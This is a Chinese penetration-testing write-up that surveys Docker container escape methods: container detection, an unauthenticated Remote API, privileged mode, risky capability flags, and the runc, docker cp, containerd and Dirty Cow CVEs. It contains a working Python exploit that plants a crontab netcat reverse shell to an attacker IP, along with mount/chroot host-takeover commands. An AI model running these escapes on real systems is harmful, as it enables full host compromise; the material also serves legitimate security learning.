渗透测试中,常会拿到Docker环境的Shell,为了扩展攻击面和进一步拿到有价值数据,不得不需要逃逸到宿主机上。所以查询了目前的Docker逃逸手法,做个复现总结。

判断是否为Docker环境

  • 检查是否存在/.dockerenv文件(可能没有);

    1
    ls -la / | grep .dockerenv

    .dockerenv

  • 检查/proc/1/cgroup文件内是否存在docker字符串;

    1
    cat /proc/1/cgroup | grep docker

    /proc/1/cgroup

  • 检测虚拟化环境(可能没有)。

    1
    systemd-detect-virt -c

    systemd-detect-virt

Docker逃逸方法

配置不当引发Docker逃逸

Docker Remote API 未授权

可参考vulhub的漏洞环境。利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

Exploit

1
2
3
4
import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

Github找到的一个利用工具:docker_api_vul

Docker 高危启动参数

当操作者执行--privileged(特权模式)时,Docker将允许容器访问宿主机上的所有设备,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

例如docker管理员启动容器时使用了--privileged参数

1
sudo docker run -itd --privileged ubuntu:latest /bin/bash

在该容器内部查看磁盘信息

1
fdisk -l

fdisk -l

可以发现宿主机磁盘信息,攻击者可以直接在容器内部挂载/dev/sda1,即可访问宿主机磁盘数据

1
2
3
4
mount /dev/sda1 /mnt
# 挂载/dev/sda1磁盘
chroot /mnt
# 切换根目录至/mnt

mount-chroot

到这里已经成功逃逸了,然后就是常规的写入定时计划反弹shell或者写入ssh密钥实现免密登陆等(与redis未授权相似)。

除特权模式外Docker通过Namespace实现六项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

1
2
3
4
--cap-add=SYS_ADMIN  # 启动时,允许执行mount特权操作,需获得资源挂载进行利用。
--net=host # 启动时,绕过Network Namespace
--pid=host # 启动时,绕过PID Namespace
--ipc=host # 启动时,绕过IPC Namespace

由Docker程序漏洞逃逸

CVE-2019-5736 - RunC漏洞逃逸

影响版本:

Docker Version <=18.09.2
RunC Version <=1.0-rc6

Exploit:

https://github.com/Frichetten/CVE-2019-5736-PoC

CVE-2019-5736-PoC

其中payload可设置为反弹shell命令。

CVE-2019-14271 - Docker cp 命令漏洞逃逸

影响版本:

18.09 < Docker Version < 19.03.1

Docker采用Golang语言编写。存在漏洞的Docker版本采用Go v1.11编译。简单的说漏洞来源是因为docker cp时会调用辅助进程docker-tar。并且在运行时会加载多个libnss_*.so库。

docker-tar的原理是chroot到容器中,归档其中请求的文件及目录,然后将生成的tar文件传回Docker守护进程,该进程负责将文件提取到宿主机上的目标目录中。

除了chroot到容器文件系统外,docker-tar并没有被容器化。它是在host命名空间运行的,权限为root全新且不受限于cgroups或seccomp。因此,通过注入代码到docker-tar,恶意容器就可以获取host主机的完全root访问权限。

攻击场景:

  • 容器运行含有恶意libnss_*.so库的镜像;
  • 容器中含有被攻击者替换的libnss_*.so库。

漏洞利用可参考:CVE-2019-14271:Docker copy漏洞分析

CVE-2020-15257 - Containerd漏洞逃逸

影响版本:

Containerd Version <= 1.3.7 / <=1.4.0 / <=1.4.1

可运行docker version查看其Containerd Version

Exploit:

https://github.com/cdk-team/CDK/

由内核漏洞逃逸

CVE-2016-5195 - Dirty Cow脏牛提权漏洞逃逸

影响版本:

Linux kernel >= 2.6.22(2007年发行到2016年10月18日之间发行的Linux内核)

Dirty Cow(CVE-2016-5195)是Linux内核中的提权漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。Docker与宿主机共享内核,因此容器需要运行在存在Dirty Cow漏洞的宿主机里。

Exploit:

https://github.com/scumjr/dirtycow-vdso

参考